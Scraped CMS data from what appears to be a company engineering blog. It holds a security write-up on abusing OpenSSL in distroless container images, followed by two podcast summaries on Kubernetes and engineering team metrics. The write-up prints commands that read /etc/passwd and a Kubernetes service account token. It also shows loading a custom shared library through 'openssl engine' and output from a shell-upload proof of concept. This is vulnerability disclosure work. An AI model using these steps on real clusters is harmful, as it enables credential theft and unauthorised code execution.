\u002Fbin\u002Fsh   \nOCI runtime exec failed: exec failed: container_linux.go:380: starting \ncontainer process caused: exec: \"\u002Fbin\u002Fsh\": stat \u002Fbin\u002Fsh: no such file or \ndirectory: unknown",[],"code_block$733d858f-d740-4e0a-be84-9f1ae8da315e",{"variation":459,"version":460,"items":9278,"primary":9279,"id":9284,"slice_type":479,"slice_label":13},[],{"body":9280},[9281],{"type":396,"text":9282,"spans":9283},"But OpenSSL provides and interactive command prompt that can be abused.",[],"rich_text$d0eb3666-aff8-421a-a687-7db087888f7a",{"variation":459,"version":460,"items":9286,"primary":9287,"id":9292,"slice_type":567,"slice_label":13},[],{"language_label":13,"code":9288},[9289],{"type":563,"text":9290,"spans":9291},"% docker exec -it demo \u002Fusr\u002Fbin\u002Fopenssl\nOpenSSL>",[],"code_block$fa7f0fc3-f090-4055-bb73-fe27b33fbf15",{"variation":459,"version":460,"items":9294,"primary":9295,"id":9300,"slice_type":479,"slice_label":13},[],{"body":9296},[9297],{"type":396,"text":9298,"spans":9299},"OpenSSL available commands.",[],"rich_text$f60215b2-0dd8-4b48-b6c6-8fdde86f31bf",{"variation":459,"version":460,"items":9302,"primary":9303,"id":9308,"slice_type":567,"slice_label":13},[],{"language_label":13,"code":9304},[9305],{"type":563,"text":9306,"spans":9307},"OpenSSL> help \nStandard commands\nasn1parse         ca                ciphers           cms               \ncrl               crl2pkcs7         dgst              dhparam           \ndsa               dsaparam          ec                ecparam           \nenc               engine            errstr            gendsa            \ngenpkey           genrsa            help              list              \nnseq              ocsp              passwd            pkcs12            \npkcs7             pkcs8             pkey              pkeyparam         \npkeyutl           prime             rand              rehash            \nreq               rsa               rsautl            s_client          \ns_server          s_time            sess_id           smime             \nspeed             spkac             srp               storeutl          \nts                verify            version           x509              \n\nMessage Digest commands (see the `dgst' command for more details)\nblake2b512        blake2s256        gost              md4               \nmd5               rmd160            sha1              sha224            \nsha256            sha3-224          sha3-256          sha3-384          \nsha3-512          sha384            sha512            sha512-224        \nsha512-256        shake128          shake256          sm3               \n\nCipher commands (see the `enc' command for more details)\naes-128-cbc       aes-128-ecb       aes-192-cbc       aes-192-ecb       \naes-256-cbc       aes-256-ecb       aria-128-cbc      aria-128-cfb      \naria-128-cfb1     aria-128-cfb8     aria-128-ctr      aria-128-ecb      \naria-128-ofb      aria-192-cbc      aria-192-cfb      aria-192-cfb1     \naria-192-cfb8     aria-192-ctr      aria-192-ecb      aria-192-ofb      \naria-256-cbc      aria-256-cfb      aria-256-cfb1     aria-256-cfb8     \naria-256-ctr      aria-256-ecb      aria-256-ofb      base64            \nbf                bf-cbc            bf-cfb            bf-ecb            \nbf-ofb            camellia-128-cbc  camellia-128-ecb  camellia-192-cbc  \ncamellia-192-ecb  camellia-256-cbc  camellia-256-ecb  cast              \ncast-cbc          cast5-cbc         cast5-cfb         cast5-ecb         \ncast5-ofb         des               des-cbc           des-cfb           \ndes-ecb           des-ede           des-ede-cbc       des-ede-cfb       \ndes-ede-ofb       des-ede3          des-ede3-cbc      des-ede3-cfb      \ndes-ede3-ofb      des-ofb           des3              desx              \nrc2               rc2-40-cbc        rc2-64-cbc        rc2-cbc           \nrc2-cfb           rc2-ecb           rc2-ofb           rc4               \nrc4-40            seed              seed-cbc          seed-cfb          \nseed-ecb          seed-ofb          sm4-cbc           sm4-cfb           \nsm4-ctr           sm4-ecb           sm4-ofb",[],"code_block$9b6e63da-971e-42d2-bbd4-ebc350c4c1d7",{"variation":459,"version":460,"items":9310,"primary":9311,"id":9325,"slice_type":479,"slice_label":13},[],{"body":9312},[9313,9316,9321],{"type":465,"text":9314,"spans":9315},"Exploitation details",[],{"type":396,"text":9317,"spans":9318},"1. Reading arbitrary files, no kubectl cp no problem!",[9319,9320],{"start":17,"end":3378,"type":477},{"start":2585,"end":580,"type":780},{"type":396,"text":9322,"spans":9323},"Abusing the OpenSSL enc functionality allows us to read files inside the container filesystem.",[9324],{"start":3298,"end":2532,"type":780},"rich_text$85235221-e91d-4ec3-8ef0-8065367a9214",{"variation":459,"version":460,"items":9327,"primary":9328,"id":9333,"slice_type":567,"slice_label":13},[],{"language_label":13,"code":9329},[9330],{"type":563,"text":9331,"spans":9332},"% docker exec -it demo \u002Fusr\u002Fbin\u002Fopenssl\nOpenSSL> enc -in \u002Fetc\u002Fpasswd\nroot:x:0:0:root:\u002Froot:\u002Fsbin\u002Fnologin\nnobody:x:65534:65534:nobody:\u002Fnonexistent:\u002Fsbin\u002Fnologin\nnonroot:x:65532:65532:nonroot:\u002Fhome\u002Fnonroot:\u002Fsbin\u002Fnologin\nOpenSSL>",[],"code_block$07476036-f131-4b53-aa82-da32a7c19202",{"variation":459,"version":460,"items":9335,"primary":9336,"id":9354,"slice_type":479,"slice_label":13},[],{"body":9337},[9338,9342,9347,9351],{"type":396,"text":9339,"spans":9340},"2. Writing and executing custom \"malicious\" binaries",[9341],{"start":17,"end":547,"type":477},{"type":396,"text":9343,"spans":9344},"Abusing OpenSSL enc and engine functionalities allows us to write and execute a custom library running our \"malicious\" code.",[9345,9346],{"start":595,"end":2369,"type":780},{"start":1381,"end":555,"type":780},{"type":396,"text":9348,"spans":9349},"Setup",[9350],{"start":17,"end":672,"type":477},{"type":396,"text":9352,"spans":9353},"Custom library source code.",[],"rich_text$e2e15f03-3dec-4834-b3e5-a63774e4864e",{"variation":459,"version":460,"items":9356,"primary":9357,"id":9362,"slice_type":567,"slice_label":13},[],{"language_label":13,"code":9358},[9359],{"type":563,"text":9360,"spans":9361},"#include \u003Copenssl\u002Fengine.h>\n#include \u003Csys\u002Futsname.h>\n\nstatic int bind(ENGINE *e, const char *id) {\n\n  struct utsname buf;\n  uname(&buf);\n\n  printf(\"Hostname: %s\" ,buf.nodename);\n\n  return 1;\n}\n\nIMPLEMENT_DYNAMIC_BIND_FN(bind)\nIMPLEMENT_DYNAMIC_CHECK_FN()",[],"code_block$9242eb2a-6fe6-4af6-a6a8-ced95d5263d3",{"variation":459,"version":460,"items":9364,"primary":9365,"id":9371,"slice_type":479,"slice_label":13},[],{"body":9366},[9367],{"type":396,"text":9368,"spans":9369},"Compilling the library using gcc.",[9370],{"start":586,"end":515,"type":780},"rich_text$1d4f57f0-27e9-45a8-8b31-6d1676772779",{"variation":459,"version":460,"items":9373,"primary":9374,"id":9379,"slice_type":567,"slice_label":13},[],{"language_label":13,"code":9375},[9376],{"type":563,"text":9377,"spans":9378},"sudo apt install openssl-devel -y\ngcc -fPIC -o hostname.o -c hostname.c && gcc -s -shared -o hostname.so -lcrypto hostname.o",[],"code_block$ad14fb79-c1c8-4e8e-8a48-6273c7c4b212",{"variation":459,"version":460,"items":9381,"primary":9382,"id":9387,"slice_type":479,"slice_label":13},[],{"body":9383},[9384],{"type":396,"text":9385,"spans":9386},"Base64 encode the library.",[],"rich_text$ab7f0817-ef90-4f86-91cc-52acaba16f22",{"variation":459,"version":460,"items":9389,"primary":9390,"id":9395,"slice_type":567,"slice_label":13},[],{"language_label":13,"code":9391},[9392],{"type":563,"text":9393,"spans":9394},"base64 .\u002Fhostname.so\nf0VMRgIBAQAAAAAAAAAAAAMAPgABAAAAgBAAAAAAAABAAAAAAAAAAEgxAAAAAAAAAAAAAEAAO\n[...snip...]",[],"code_block$b07d5d00-23f0-4d69-91d2-834a98c264b6",{"variation":459,"version":460,"items":9397,"primary":9398,"id":9408,"slice_type":479,"slice_label":13},[],{"body":9399},[9400,9404],{"type":396,"text":9401,"spans":9402},"Writing the payload",[9403],{"start":17,"end":2369,"type":477},{"type":396,"text":9405,"spans":9406},"Writing the base64 encoded library using the OpenSSL enc functionality.",[9407],{"start":3378,"end":662,"type":780},"rich_text$d9960d6c-0839-48f5-9911-9d5209cad1d5",{"variation":459,"version":460,"items":9410,"primary":9411,"id":9416,"slice_type":567,"slice_label":13},[],{"language_label":13,"code":9412},[9413],{"type":563,"text":9414,"spans":9415},"% docker exec -it demo \u002Fusr\u002Fbin\u002Fopenssl                       \nOpenSSL> enc -d -a -out \u002Ftmp\u002Fhostname.so\nf0VMRgIBAQAAAAAAAAAAAAMAPgABAAAAgBAAAAAAAABAAAAAAAAAAEgxAAAAAAAAAAAAAEAAO\n[...snip...]\nAAAAAAAAAAAAAAAAAAABAAAAAAAAAAAAAAAAAAAA\nOpenSSL>",[],"code_block$cdcb5a9d-d295-42c8-91a5-a274829872ea",{"variation":459,"version":460,"items":9418,"primary":9419,"id":9429,"slice_type":479,"slice_label":13},[],{"body":9420},[9421,9425],{"type":396,"text":9422,"spans":9423},"Executing the payload",[9424],{"start":17,"end":706,"type":477},{"type":396,"text":9426,"spans":9427},"Executing the custom library using the OpenSSL engine functionality and print the container hostname.",[9428],{"start":3824,"end":3378,"type":780},"rich_text$f3396bca-68b9-498b-8415-ee2fa37703db",{"variation":459,"version":460,"items":9431,"primary":9432,"id":9437,"slice_type":567,"slice_label":13},[],{"language_label":13,"code":9433},[9434],{"type":563,"text":9435,"spans":9436},"% docker exec -it demo \u002Fusr\u002Fbin\u002Fopenssl engine \u002Ftmp\u002Fhostname.so\nHostname: d68dc92b5c99(\u002Ftmp\u002Fhostname.so) \u003CNULL>",[],"code_block$e1c0f3d1-58d1-4243-b455-84cdfa27f4e0",{"variation":459,"version":460,"items":9439,"primary":9440,"id":9455,"slice_type":479,"slice_label":13},[],{"body":9441},[9442,9445,9448,9451],{"type":465,"text":9443,"spans":9444},"Attack scenarios",[],{"type":1101,"text":9446,"spans":9447},"In a command injection attack, when an application running on a distroless base image executes unsafe user-supplied data, an adversary can abuse OpenSSL to perform actions otherwise not possible, like reading files or instaling custom attack tools.",[],{"type":1101,"text":9449,"spans":9450},"In a scenario where an adversary has obtained access to a Kubernetes cluster, he can abuse OpenSSL installed on the distroless base image to read the service account tokens, secrets injected or mounted in the filesystem and even gain interactive command execution by uploading a custom shell.",[],{"type":396,"text":9452,"spans":9453},"Reading the Kubernets service account token using OpenSSL.",[9454],{"start":17,"end":556,"type":477},"rich_text$8030044c-14f2-4db1-991b-70e39b430610",{"variation":459,"version":460,"items":9457,"primary":9458,"id":9463,"slice_type":567,"slice_label":13},[],{"language_label":13,"code":9459},[9460],{"type":563,"text":9461,"spans":9462},"% kubectl exec -it distroless -- \u002Fusr\u002Fbin\u002Fopenssl enc -in \u002Fvar\u002Frun\u002Fsecrets\u002Fkubernetes.io\u002Fserviceaccount\u002Ftoken\neyJhbGciOiJSUzI1NiIsImtpZCI6ImRpTVR5QnNxcXhLUjNzYUFSYW14TGdoZHZLNkJ6aTVD\n[...snip...]",[],"code_block$f678c148-f390-41c4-85d1-e725c98401e2",{"variation":459,"version":460,"items":9465,"primary":9466,"id":9472,"slice_type":479,"slice_label":13},[],{"body":9467},[9468],{"type":396,"text":9469,"spans":9470},"Gaining interactive command execution by uploading a custom shell.",[9471],{"start":17,"end":1520,"type":477},"rich_text$db1ea714-0f6b-4906-81a6-c3649740b8a9",{"variation":459,"version":460,"items":9474,"primary":9475,"id":9480,"slice_type":567,"slice_label":13},[],{"language_label":13,"code":9476},[9477],{"type":563,"text":9478,"spans":9479},"python3 poc.py\n[*] Uploading the shell\n[*] Uploading the payload\n[*] Executing the payload\n[*] Getting a shell\n# set\nGOTRACEBACK='single'\nHOME='\u002Froot'\nHOSTNAME='distroless'\nIFS=' \n'\nKUBERNETES_PORT='tcp:\u002F\u002F10.43.0.1:443'\nKUBERNETES_PORT_443_TCP='tcp:\u002F\u002F10.43.0.1:443'\nKUBERNETES_PORT_443_TCP_ADDR='10.43.0.1'\nKUBERNETES_PORT_443_TCP_PORT='443'\nKUBERNETES_PORT_443_TCP_PROTO='tcp'\nKUBERNETES_SERVICE_HOST='10.43.0.1'\nKUBERNETES_SERVICE_PORT='443'\nKUBERNETES_SERVICE_PORT_HTTPS='443'\nLINENO=''\nOPTIND='1'\nPATH='\u002Fusr\u002Flocal\u002Fsbin:\u002Fusr\u002Flocal\u002Fbin:\u002Fusr\u002Fsbin:\u002Fusr\u002Fbin:\u002Fsbin:\u002Fbin'\nPPID='0'\nPS1='# '\nPS2='> '\nPS4='+ '\nPWD='\u002F'\nSSL_CERT_FILE='\u002Fetc\u002Fssl\u002Fcerts\u002Fca-certificates.crt'\nTERM='xterm'\n#",[],"code_block$a50e1547-50d9-4ea9-956e-5d161b757a9e",{"variation":459,"version":460,"items":9482,"primary":9483,"id":9498,"slice_type":479,"slice_label":13},[],{"body":9484},[9485,9487],{"type":465,"text":4469,"spans":9486},[],{"type":396,"text":9488,"spans":9489},"Not all Distroless images (static, base, ...) are created equal, and this should be taken into account when selecting a base image for critical projects. This issue was reported to Google in August 2021 and Google decided not to fix it.",[9490,9493],{"start":580,"end":2015,"type":744,"data":9491},{"link_type":453,"url":9492,"target":456},"https:\u002F\u002Fgcr.io\u002Fdistroless",{"start":9494,"end":9495,"type":744,"data":9496},181,187,{"link_type":453,"url":9497,"target":456},"https:\u002F\u002Fissuetracker.google.com\u002Fissues\u002F195646411","rich_text$4b3610e6-038e-4b7d-b53b-6bacae72226b",{"variation":459,"version":460,"items":9500,"primary":9501,"id":9537,"slice_type":479,"slice_label":13},[],{"body":9502},[9503,9505,9511,9517,9523,9528,9532],{"type":465,"text":4852,"spans":9504},[],{"type":1101,"text":9506,"spans":9507},"https:\u002F\u002Fkubernetes.io",[9508],{"start":17,"end":706,"type":744,"data":9509},{"link_type":453,"url":9510},"https:\u002F\u002Fkubernetes.io\u002F",{"type":1101,"text":9512,"spans":9513},"https:\u002F\u002Fwww.openssl.org",[9514],{"start":17,"end":2532,"type":744,"data":9515},{"link_type":453,"url":9516},"https:\u002F\u002Fwww.openssl.org\u002F",{"type":1101,"text":9518,"spans":9519},"https:\u002F\u002Fwww.docker.com",[9520],{"start":17,"end":579,"type":744,"data":9521},{"link_type":453,"url":9522},"https:\u002F\u002Fwww.docker.com\u002F",{"type":1101,"text":9524,"spans":9525},"https:\u002F\u002Fgtfobins.github.io\u002Fgtfobins\u002Fopenssl",[9526],{"start":17,"end":6708,"type":744,"data":9527},{"link_type":453,"url":9524},{"type":1101,"text":9121,"spans":9529},[9530],{"start":17,"end":598,"type":744,"data":9531},{"link_type":453,"url":9121},{"type":1101,"text":9533,"spans":9534},"https:\u002F\u002Fowasp.org\u002Fwww-community\u002Fattacks\u002FCode_Injection",[9535],{"start":17,"end":2041,"type":744,"data":9536},{"link_type":453,"url":9533},"rich_text$1100d74f-973e-46da-b2c4-6715508e393e",{"id":9539,"uid":9540,"url":9541,"type":406,"href":9542,"tags":9543,"first_publication_date":9544,"last_publication_date":9067,"slugs":9545,"linked_documents":9547,"lang":386,"alternate_languages":9548,"data":9549},"alz0_REAAC0AUWdQ","podcast-k8s-robusta","\u002Fresources\u002Fengineering-blog\u002Fpodcast-k8s-robusta","https:\u002F\u002Fform3-website.cdn.prismic.io\u002Fapi\u002Fv2\u002Fdocuments\u002Fsearch?ref=apjJ1BEAAC0AJxzl&q=%5B%5B%3Ad+%3D+at%28document.id%2C+%22alz0_REAAC0AUWdQ%22%29+%5D%5D",[],"2026-07-19T16:21:55+0000",[9546],"ep-36-.tech---kubernetes-as-a-cloud-operating-system",[],[],{"title":9550,"excerpt":9551,"card_image":9552,"published_date":9557,"reading_time":672,"tag":427,"dek":9551,"featured_image":9558,"about_form3":9563,"client_about_heading":13,"client_about_body":9564,"author_name":1277,"author_title":1278,"author_photo":9565,"author_bio":9568,"author_linkedin":9571,"slices":9573,"meta_title":9550,"meta_description":9551},".tech Podcast - Kubernetes as a cloud operating system","Natan Yellin joins us to his insights on the challenges of running software at scale, which now involves maintaining more complex system architecture than ever. Then, he walks us through the open-source tool Robusta Dev and how it can make running systems on Kubernetes easier!",{"dimensions":9553,"alt":9550,"copyright":13,"url":9554,"id":9555,"edit":9556},{"width":420,"height":420},"\u002F_prismic-media\u002Fb3b75a73eaf81eda-AsRbdCaw-56Gihpn_podcast-k8s-robusta.png","AsRbdCaw-56Gihpn",{"x":17,"y":17,"zoom":18,"background":19},"2022-09-15",{"dimensions":9559,"alt":13,"copyright":13,"url":9560,"id":9561,"edit":9562},{"width":1270,"height":2672},"\u002F_prismic-media\u002F301df95e6dba40a6-f0O4SoCrtWLvp8E7_6ee7979b-a8f8-4bf5-a6a8-0e8ccf4.png","f0O4SoCrtWLvp8E7",{"x":17,"y":17,"zoom":18,"background":19},[],[],{"dimensions":9566,"alt":1277,"copyright":13,"url":1282,"id":1283,"edit":9567},{"width":443,"height":1281},{"x":17,"y":17,"zoom":18,"background":424},[9569],{"type":396,"text":1287,"spans":9570},[],{"link_type":453,"key":9572,"url":1291,"target":456},"f453fde3-4027-41d4-b014-2912b960c2f2",[9574,9594,9608,9634,9654,9682,9712],{"variation":459,"version":481,"items":9575,"primary":9576,"id":9593,"slice_type":506,"slice_label":13},[],{"eyebrow":13,"heading":9577,"body":9581,"cta_label":1304,"cta_link":9584,"aside_type":13,"aside_image":9587,"aside_video":9588,"aside_video_poster":9589,"aside_video_reduced_motion":9590,"aside_video_url":13,"aside_embed":9591,"pardot_form_url":13,"form_submit_label":13,"form_variant":497,"form_heading":13,"redirect_on_success":9592,"theme":500,"overlay_pattern":501,"background_continuation":502,"media_position":503,"aside_vertical_align":504},[9578],{"type":465,"text":9579,"spans":9580},"Ep 36 .tech - Kubernetes as a cloud operating system",[],[9582],{"type":396,"text":1302,"spans":9583},[],{"link_type":453,"key":9585,"url":9586},"ca074e1c-28ab-4645-ad65-96f34f3e2208","https:\u002F\u002Ftechpodcast.form3.tech\u002Fepisodes\u002Fep-36-tech-kubernetes-as-a-cloud-operating-system-iH0afl06",{},{"link_type":493},{},{},{},{"link_type":499},"content_block$0ac97c02-33c4-4f29-a05b-f812eca6a4c1",{"variation":459,"version":460,"items":9595,"primary":9596,"id":9607,"slice_type":479,"slice_label":13},[],{"body":9597},[9598],{"type":396,"text":9599,"spans":9600},"Natan Yellin is the CEO of Robusta Dev. He has a background as an engineer and has been tackling the challenges of the business world in his role as CEO.",[9601,9604],{"start":17,"end":1333,"type":744,"data":9602},{"link_type":453,"url":9603},"https:\u002F\u002Fwww.linkedin.com\u002Fin\u002Fnatanyellin\u002F",{"start":2744,"end":844,"type":744,"data":9605},{"link_type":453,"url":9606},"https:\u002F\u002Fwww.linkedin.com\u002Fcompany\u002Frobusta-dev\u002F","rich_text$92859b69-9fe9-4d1e-b28c-179016ca08f9",{"variation":459,"version":460,"items":9609,"primary":9610,"id":9633,"slice_type":479,"slice_label":13},[],{"body":9611},[9612,9615,9618,9621,9624,9627,9630],{"type":465,"text":9613,"spans":9614},"Challenges of running software at scale",[],{"type":396,"text":9616,"spans":9617},"The requirements of software solutions have gone up. When he first got started in programming, Natan would typically: take an application like WordPress, upload some files over FTP to a virtual server and then he'd add some caching solution if required. Today, this kind of level of solution is considered sub par.",[],{"type":396,"text":9619,"spans":9620},"Applications are expected to:",[],{"type":1101,"text":9622,"spans":9623},"handle any level of live traffic",[],{"type":1101,"text":9625,"spans":9626},"give performant responses",[],{"type":1101,"text":9628,"spans":9629},"take into account security concerns",[],{"type":396,"text":9631,"spans":9632},"Simply put, the bar for an MVP is much higher. Small teams are expected to provide a lot of the same things that people are used to from the big tech giants.",[],"rich_text$0277d12c-562b-4dcf-94bf-71d1bd6b8f2f",{"variation":459,"version":460,"items":9635,"primary":9636,"id":9653,"slice_type":479,"slice_label":13},[],{"body":9637},[9638,9641,9647,9650],{"type":465,"text":9639,"spans":9640},"The shift left",[],{"type":396,"text":9642,"spans":9643},"As the expectations of software uptime and functionality have gone up, engineers are shifting left and are responsible for oncall.",[9644],{"start":1406,"end":4146,"type":744,"data":9645},{"link_type":453,"url":9646},"https:\u002F\u002Fen.wikipedia.org\u002Fwiki\u002FShift-left_testing",{"type":396,"text":9648,"spans":9649},"Natan thinks there are pros and cons to this approach. When it comes to oncall, engineers are responsible for everything that's happening in production, which is more work, but at the same time they are more connected to the issues that matter to customers.",[],{"type":396,"text":9651,"spans":9652},"The other aspect is getting software setup and running. One approach is to say: when running software in Kubernetes or another platform, developers shouldn't know anything about the operational concerns of that underlying platform. Natan thinks this approach is misguided, as developers generally like to learn and explore the DevOps aspects.",[],"rich_text$8f853d09-838f-4dc0-af45-7de473c36cef",{"variation":459,"version":460,"items":9655,"primary":9656,"id":9681,"slice_type":479,"slice_label":13},[],{"body":9657},[9658,9661,9666,9669,9672,9675,9678],{"type":465,"text":9659,"spans":9660},"Kubernetes and its complexities",[],{"type":396,"text":9662,"spans":9663}," Kubernetes seems to be the de-facto choice when it comes to building systems, even if more simple approaches would suffice.",[9664],{"start":18,"end":1998,"type":744,"data":9665},{"link_type":453,"url":9510},{"type":396,"text":9667,"spans":9668},"Empirically, the industry is replacing Platform-as-a-Service (PaaS) and simplified higher level abstractions with Kubernetes. Natan attributes this move to two major contributing factors:",[],{"type":582,"text":9670,"spans":9671},"Often people start with PaaS solutions to keep things as simple as possible. Ultimately, companies reach the upper limits of what's possible with these solutions and switch to Kubernetes to continue scaling with the flexibility Kubernetes provides.",[],{"type":582,"text":9673,"spans":9674},"Once they're over the learning curve, developers rarely want to go back to a higher abstraction layer. Often, the transition to Kubernetes is one way and companies that migrate to it will continue to use it for all their services.",[],{"type":396,"text":9676,"spans":9677},"However, becoming proficient with Kubernetes is quite an undertaking, as it's such a complex orchestration system. Natan's personal opinion is that front-loading the concerns of managing complex requirements is actually an advantage, as it allows teams to learn from the beginning of the project, when services are simpler. The realities of your system will sooner or later catch up with your engineering teams.",[],{"type":396,"text":9679,"spans":9680},"Kubernetes has an active, helpful community. This has helped Form3's transition from Amazon ECS to Kubernetes. The fact that it's a widely adopted, open-source platform also means that the community has built solutions and tooling that they needed.",[],"rich_text$ca550dab-4df6-4076-acd7-63adff7d7132",{"variation":459,"version":460,"items":9683,"primary":9684,"id":9711,"slice_type":479,"slice_label":13},[],{"body":9685},[9686,9689,9695,9698],{"type":465,"text":9687,"spans":9688},"Introduction to Robusta Dev",[],{"type":396,"text":9690,"spans":9691}," Robusta makes setup and getting started easier. It provides runbook automations, letting you define rules for what should happen and how to debug different issues that occur. It pools in all the context that you need on your resources, making it easier for both new and experienced engineers to run Kubernetes in production. Robusta doesn't set up clusters, it wraps around around existing technologies in a simpler way.",[9692],{"start":18,"end":4811,"type":744,"data":9693},{"link_type":453,"url":9694},"https:\u002F\u002Fhome.robusta.dev\u002F",{"type":396,"text":9696,"spans":9697},"Users do not have to configure anything to get started. All of the core functionality is open-source and requires zero configuration. Robusta provides an engine that users can then leverage to write their rules, but it has built in knowledge that is constantly evolving as well. Alert data is decorated by the Robusta runtime, so it provides fully dynamic explanations.",[],{"type":396,"text":9699,"spans":9700},"Robusta provides support for a wide variety of synchronisation channels, most common being Slack, Microsoft Teams and Opsgenie. It also provides an interactive platform, which provides automatic or manual actions that can remediate alerts. These make it easier for engineers on call to remediate issues all without code changes.",[9701,9705,9708],{"start":1984,"end":9702,"type":744,"data":9703},96,{"link_type":453,"url":9704},"https:\u002F\u002Fslack.com\u002Fintl\u002Fen-gb\u002Ffeatures",{"start":4146,"end":5615,"type":744,"data":9706},{"link_type":453,"url":9707},"https:\u002F\u002Fwww.microsoft.com\u002Fen-gb\u002Fmicrosoft-teams\u002Fgroup-chat-software",{"start":1535,"end":1536,"type":744,"data":9709},{"link_type":453,"url":9710},"https:\u002F\u002Fwww.atlassian.com\u002Fsoftware\u002Fopsgenie","rich_text$f7bf6329-f159-4bbd-9d1a-3221740876f7",{"variation":459,"version":460,"items":9713,"primary":9714,"id":9749,"slice_type":479,"slice_label":13},[],{"body":9715},[9716,9719,9722,9725,9731,9737,9743],{"type":465,"text":9717,"spans":9718},"The bigger picture",[],{"type":396,"text":9720,"spans":9721}," Natan explains that Robusta was built to solve the bigger problem of software becoming more complex, rather than the narrow problems of running Kubernetes in production. The big idea is that it's possible to capture the knowledge of issues and how to fix them and deliver them as automations, exactly when you need them. This is where the excitement and power of the Robusta platform comes in.",[],{"type":396,"text":9723,"spans":9724},"Make sure to explore these excellent resources to learn more from Natan:",[],{"type":1101,"text":9726,"spans":9727},"Common Kubernetes Mistakes - CPU and Memory Requests",[9728],{"start":17,"end":547,"type":744,"data":9729},{"link_type":453,"url":9730},"https:\u002F\u002Fwww.youtube.com\u002Fwatch?v=_nknHwTKlh8",{"type":1101,"text":9732,"spans":9733},"The Robusta YouTube channel",[9734],{"start":17,"end":2744,"type":744,"data":9735},{"link_type":453,"url":9736},"https:\u002F\u002Fwww.youtube.com\u002Fchannel\u002FUCeLrAOI3anJAfO3BrYVB62Q",{"type":1101,"text":9738,"spans":9739},"Stop using CPU limits on Kubernetes",[9740],{"start":17,"end":1372,"type":744,"data":9741},{"link_type":453,"url":9742},"https:\u002F\u002Fhome.robusta.dev\u002Fblog\u002Fstop-using-cpu-limits\u002F",{"type":1101,"text":9744,"spans":9745},"Kubernetes is the POSIX of the cloud",[9746],{"start":17,"end":546,"type":744,"data":9747},{"link_type":453,"url":9748},"https:\u002F\u002Fhome.robusta.dev\u002Fblog\u002Fkubernetes-is-the-new-posix\u002F","rich_text$077d9f2e-0eb7-430e-9bab-99bbe56af6c6",{"id":9751,"uid":9752,"url":9753,"type":406,"href":9754,"tags":9755,"first_publication_date":9544,"last_publication_date":9067,"slugs":9756,"linked_documents":9758,"lang":386,"alternate_languages":9759,"data":9760},"alz1ABEAACoAUWdf","podcast-engineering-success","\u002Fresources\u002Fengineering-blog\u002Fpodcast-engineering-success","https:\u002F\u002Fform3-website.cdn.prismic.io\u002Fapi\u002Fv2\u002Fdocuments\u002Fsearch?ref=apjJ1BEAAC0AJxzl&q=%5B%5B%3Ad+%3D+at%28document.id%2C+%22alz1ABEAACoAUWdf%22%29+%5D%5D",[],[9757],"ep-35-.tech---measuring-the-success-of-engineering-teams",[],[],{"title":9761,"excerpt":9762,"card_image":9763,"published_date":9768,"reading_time":667,"tag":427,"dek":9762,"featured_image":9769,"about_form3":9774,"client_about_heading":13,"client_about_body":9775,"author_name":1277,"author_title":1278,"author_photo":9776,"author_bio":9779,"author_linkedin":9782,"slices":9784,"meta_title":9761,"meta_description":9762},".tech Podcast - Measuring the success of engineering teams","Evelina Vrabie joins us to share her insights into measuring the success of engineering teams. She tells us about the role of an engineering manager as well as the four types of success. Then, she walks us through how to measure productivity and high performance through research-based frameworks.",{"dimensions":9764,"alt":9761,"copyright":13,"url":9765,"id":9766,"edit":9767},{"width":420,"height":420},"\u002F_prismic-media\u002F69c20bfc377baabb-GjSNJ_gnOM-mLLQp_podcast-engineering-success.png","GjSNJ_gnOM-mLLQp",{"x":17,"y":17,"zoom":18,"background":19},"2022-08-16",{"dimensions":9770,"alt":13,"copyright":13,"url":9771,"id":9772,"edit":9773},{"width":1270,"height":2672},"\u002F_prismic-media\u002F3d9c9f3e1f76ad9f-8TZVyXBa_AmDEShV_69f47283-174a-4c4f-97a6-7980611.png","8TZVyXBa_AmDEShV",{"x":17,"y":17,"zoom":18,"background":19},[],[],{"dimensions":9777,"alt":1277,"copyright":13,"url":1282,"id":1283,"edit":9778},{"width":443,"height":1281},{"x":17,"y":17,"zoom":18,"background":424},[9780],{"type":396,"text":1287,"spans":9781},[],{"link_type":453,"key":9783,"url":1291,"target":456},"f29bfe6b-1f49-48dc-b60c-0a6ea0dc01eb",[9785,9805,9834,9857,9890,9946,9979,10024,10053],{"variation":459,"version":481,"items":9786,"primary":9787,"id":9804,"slice_type":506,"slice_label":13},[],{"eyebrow":13,"heading":9788,"body":9792,"cta_label":1304,"cta_link":9795,"aside_type":13,"aside_image":9798,"aside_video":9799,"aside_video_poster":9800,"aside_video_reduced_motion":9801,"aside_video_url":13,"aside_embed":9802,"pardot_form_url":13,"form_submit_label":13,"form_variant":497,"form_heading":13,"redirect_on_success":9803,"theme":500,"overlay_pattern":501,"background_continuation":502,"media_position":503,"aside_vertical_align":504},[9789],{"type":465,"text":9790,"spans":9791},"Ep 35 .tech - Measuring the success of engineering teams",[],[9793],{"type":396,"text":1302,"spans":9794},[],{"link_type":453,"key":9796,"url":9797},"60d8cd09-ed59-4779-8e18-53a5ebb4e1cd","https:\u002F\u002Ftechpodcast.form3.tech\u002Fepisodes\u002Fep-35-tech-measuring-the-success-of-engineering-teams-F6EPjD8D",{},{"link_type":493},{},{},{},{"link_type":499},"content_block$f9e67db2-2114-42a5-aba6-27c1e2b7b670",{"variation":459,"version":460,"items":9806,"primary":9807,"id":9833,"slice_type":479,"slice_label":13},[],{"body":9808},[9809],{"type":396,"text":9810,"spans":9811},"Evelina Vrabie is an Engineering Manager at Hopin. She is an engineering leader with over 15 years of experience, with a strong entrepreneurial, management and technical background. In her, Master's degree she explored the use of artificial intelligence in work therapy for high performance environments. Her work culminated in co-founding Touco Labs, a FinTech with the purpose of helping personal finance. Evelina's blog is called Jumpstart and  she often publishes for CTO Craft as well. Follow these resources to connect with 